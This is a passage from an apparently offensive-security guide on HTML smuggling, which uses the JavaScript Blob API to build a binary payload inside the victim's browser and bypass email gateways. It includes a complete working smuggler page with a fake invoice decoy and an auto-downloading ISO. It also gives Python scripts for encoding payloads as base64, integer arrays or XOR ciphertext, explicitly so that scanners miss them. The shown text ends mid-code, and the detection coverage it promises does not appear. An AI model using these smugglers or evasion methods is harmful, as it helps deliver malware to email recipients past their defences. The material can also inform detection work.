HTML Smuggling
Email gateways inspect attachments by content type and extension. They decompress ZIPs, scan office documents, and block executables. But they consistently ignore HTML files as a format — HTML is expected to contain text, images, and scripts, not binary payloads. HTML smuggling exploits the JavaScript Blob API to reconstruct a binary file entirely inside the browser, then trigger a download to the victim's disk. The gateway sees a harmless HTML document. The victim's browser assembles an ISO, an EXE, or a ZIP inside client memory and downloads it with no network request to a file server. This chapter explains exactly how the Blob API works, builds complete HTML smugglers for multiple payload types, and covers every detection layer that can catch it.
The JavaScript Blob API — How the Smuggling Works
The entire technique rests on three JavaScript APIs: Blob, URL.createObjectURL(), and the download attribute on anchor elements. Understanding each one makes the technique obvious:
EMAIL GATEWAY (scanning):
────────────────────────────────────────────────────────────────────────
Receives: invoice.html
Scans: HTML content type — text, link tags, script tags
Sees: JavaScript that declares a base64 string and a Blob
Verdict: "It's an HTML page" — no binary payload detected
Passes through: attachment delivered to victim mailbox
VICTIM'S BROWSER (when victim opens invoice.html):
────────────────────────────────────────────────────────────────────────
Step 1: JavaScript executes
Step 2: Base64 string (your payload) is decoded to a Uint8Array:
const bytes = Uint8Array.from(atob(b64), c => c.charCodeAt(0));
Step 3: Blob object created from the byte array:
const blob = new Blob([bytes], {type: "application/octet-stream"});
Step 4: Object URL created for the blob:
const url = URL.createObjectURL(blob);
→ url = "blob:null/550e8400-e29b-41d4-a716-446655440000"
Step 5: Hidden anchor element programmatically clicked:
const a = document.createElement('a');
a.href = url;
a.download = "Invoice_2024.iso"; ← filename for saved file
a.click();
Step 6: Browser saves the blob to the victim's Downloads folder
→ Invoice_2024.iso appears in %Downloads%
→ NO network request to any server
→ NO file on the internet to scan
→ The file assembled in browser memory
KEY INSIGHT: The blob URL is local ("blob:null/...") — no DNS query,
no outbound HTTP request for the payload. The entire payload was in
the HTML file's JavaScript. Proxy logs show only the HTML download.
Nothing shows the ISO delivery.Minimal Working HTML Smuggler
Here is the smallest possible working HTML smuggler — stripped to its essential logic with no obfuscation. Study this structure before adding any evasion:
<!-- minimal_smuggler.html — bare-bones working example -->
<!DOCTYPE html>
<html>
<body>
<script>
// Step 1: Your payload as a base64 string
// Generate with: python3 -c "import base64; print(base64.b64encode(open('payload.iso','rb').read()).decode())"
const b64 = "UEsDBBQAAAAIAA..."; // base64 of your payload
// Step 2: Decode base64 to binary bytes
const raw = atob(b64);
const bytes = new Uint8Array(raw.length);
for (let i = 0; i < raw.length; i++) {
bytes[i] = raw.charCodeAt(i);
}
// Step 3: Create a Blob from the bytes
const blob = new Blob([bytes], { type: "application/octet-stream" });
// Step 4: Create a temporary object URL pointing to the blob
const url = URL.createObjectURL(blob);
// Step 5: Create a hidden anchor and trigger a click to download
const a = document.createElement('a');
a.href = url;
a.download = "Invoice_2024_Review.iso"; // filename the victim sees
a.style.display = "none";
document.body.appendChild(a);
a.click();
// Step 6: Cleanup the object URL (frees browser memory)
setTimeout(() => URL.revokeObjectURL(url), 5000);
</script>
<!-- Decoy content shown while download starts -->
<h2>Loading document...</h2>
<p>Your invoice will download automatically. If it does not start, <a href="#">click here</a>.</p>
</body>
</html>
That's the complete technique — 15 lines of JavaScript. The rest of this chapter is about making it harder to detect and more reliable across environments.
Payload Encoding and Embedding
Method 1: Pure Base64 (Simplest)
# Generate base64 payload string for embedding
import base64
with open("payload.iso", "rb") as f:
payload_bytes = f.read()
b64 = base64.b64encode(payload_bytes).decode()
print(f"Payload size: {len(payload_bytes):,} bytes")
print(f"Base64 length: {len(b64):,} chars")
print(f"Overhead: {len(b64)/len(payload_bytes):.2f}x")
# Base64 is ~1.37x larger than the original binary
# Split into chunks for readability (optional but avoids single 10MB string):
chunk_size = 76
chunks = [b64[i:i+chunk_size] for i in range(0, len(b64), chunk_size)]
print("\nJS array form:")
print("const b64parts = [")
for chunk in chunks[:3]:
print(f' "{chunk}",')
print(' ...];')
print('const b64 = b64parts.join("");')
Method 2: Array of Integers (Avoids Base64 String Detection)
# Embed payload as JS integer array — no base64 string in the HTML
# Detectors looking for "atob(" or long base64 strings won't find them
with open("payload.iso", "rb") as f:
payload_bytes = f.read()
# Output as a JS Uint8Array literal
ints = ",".join(str(b) for b in payload_bytes)
print(f"// Payload: {len(payload_bytes):,} bytes")
print(f"const bytes = new Uint8Array([{ints[:60]},...]);")
# In the HTML:
#
#
# Downside: the file size grows 2-4x (each byte becomes "255," = 4 chars)
Method 3: XOR-Encrypted with Runtime Decryption
# XOR-encrypt the payload before embedding
# Runtime JS decrypts it — AV/gateway scanning the JS doesn't see the payload
import base64
def xor_encrypt(data: bytes, key: int) -> bytes:
return bytes(b ^ key for b in data)
with open("payload.iso", "rb") as f:
raw = f.read()
key = 0x5A # single-byte XOR key (choose one that avoids common values)
encrypted = xor_encrypt(raw, key)
b64 = base64.b64encode(encrypted).decode()
print(f"""